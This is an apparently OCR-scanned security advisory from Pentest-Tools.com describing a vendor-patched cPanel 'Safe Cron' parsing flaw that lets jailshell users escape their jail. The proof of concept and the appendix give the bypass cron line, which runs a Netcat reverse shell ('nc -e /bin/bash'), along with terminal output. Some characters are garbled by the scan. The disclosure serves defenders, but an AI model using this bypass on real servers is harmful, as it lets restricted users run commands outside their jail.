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PTT-2025-016 - cPanel - Escape via
Safe Cron Bypass

CVE-ID: NONE

Note: cPanel does not register CVEs for vulnerabilities that are below high.

CPANEL-ID: CPANEL-48930
Credits:

Matei "Mal” Badanoiu, Matei Buzdea and Catalin lovita of Pentest-Tools.com

Environment:
e cPanel 128.0.15

CVSSv3: 4.3 Medium - AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Description:

Although cPanel uses a custom “Safe Cron" wrapper for “crontab” and “Cron Jobs" in
order to restrict the execution of a user’'s system commands to a Jail environment (via
“jailshell"”) attackers can bypass this restriction with specifically crafted cron elements
that execute arbitrary commands outside the restricted environment.

Note: This attack is valid only for users that have limited shell access (e.g. jailshell,
noshell) or for users that cannot use other cPanel features to access the server (e.g.
SSH Access, Terminal, etc.).

Requirements:

In order to perform this exploit an attacker would require valid user credentials in order
to access the cPanel web application.

Fix:
The vendor patched the vulnerability. The advisory can be found here:
https://docs.cpanel.net/changelogs/136-change-log/



https://docs.cpanel.net/changelogs/136-change-log/
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Proof of Concept:

Due to a parsing error in cPanel’s “Safe Cron” wrapper, attackers are able to execute
arbitrary system commands outside the jail environment.

In this scenario we consider that we have obtained shell access (e.g. SSH or Web
Terminal) as a user with a “jailshell” shell.

Normally, when the system restricts a user to the “jailshell” shell, cPanel's “Safe Cron”
wrapper will add the following line before any cron instruction:

|SHELL=Wusﬁbcavcpanevbmﬁanshdw

For example if we use “crontab” to insert the cron command “* * * * * nc -e /bin/bash
127.0.017777", save the changes and access “crontab” again we will observe that
cPanel has automatically added the "SHELL" variable:

[+ mal@cpanel85674063:~ Q = - O X

/var/tmp/454.BIN_JAIL_SAFE_CRONTAB_PL__.5532f905.tmp

SHELL="/usr/local/cpanel/bin/jailshell”
* * % * * nc -e /bin/bash 127.0.0.1 7777

The parsing error and the escape occurs when an attacker tries to insert a parameter
inside the cron command (e.g. "* * * * * AAA="BBB" <COMMAND> ") as the “Safe
Cron” functionality does not add the “SHELL" variable anymore.

In this example we will use the following cron instruction to escape the “jailshell”:

|* * * * * SHELL="/bin/bash" nc -e /bin/bash 127.0.0.17777

Note: This command will execute a Netcat reverse shell outside the jail environment.
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To escape the “jailshell”, we use the command “crontab -e" to insert the malicious cron
instructions and set up a Netcat listener that will receive the reverse shell. The shell
runs as the same user (in this case “mal”), but is now outside the restricted jail
environment:

LMaLECpPaneLssb/4ubs ~ 1S LS /
1s: cannot open directory '/': Permission denied
[mal@cpanel85674063 ~]3%
[mal@cpanel856740 ~]$ tail -n 1 /etc/passwd
mal:x:1004:1006:: /home/mal: /usr/local/cpanel/bin/jailshell
[mal@cpanel85674063 ~]1$
[mal@cpanel85674063 ~]S nc -nlvp 7777

: Version 7.92 ( https://nmap.org/ncat )

: Listening on :::7777

: Listening on 0.0.0.0:7777

: Connection from 127.0.0.1.

: Connection from 127.0.0.1:60194.

/var /tmp/446 .BIN_JAIL_SAFE_CRONTAB_PL__.cc448acf.tmp

ﬂ * * % * SHELL="/bin/bash" nc -e /bin/bash 127.0.0.1 7777

uid=1004(mal) gid=1006(mal) groups=1006(mal)

ls -la /

total 5529856

root

root a0

root B .autorelabel
root 114 backup

root bin -> usr/bin
root s boot

root E dev

root R escaped

root 143 etc

test2 ¢ E home

root 1ib -> usr/lib

[
N OB

Lrwxrwxrwx.

Lrwxrwxrwx. root

root

N =N W= O

1ib64 -> usr/lib64
lost+found



Pentest : :
’ Tools Offensive Security Research Team

Appendix:

Example cron instruction to bypass “Safe Cron™:

|* * * * * SHELL="/bin/bash" nc -e /bin/bash 127.0.0.1 7777

From vulnerability scans to proof, Pentest-Tools.com gives 2,000+ security teams in 119 countries the
speed, accuracy, and coverage to confidently validate and mitigate risks across their infrastructure
(network, cloud, web apps, APIs).
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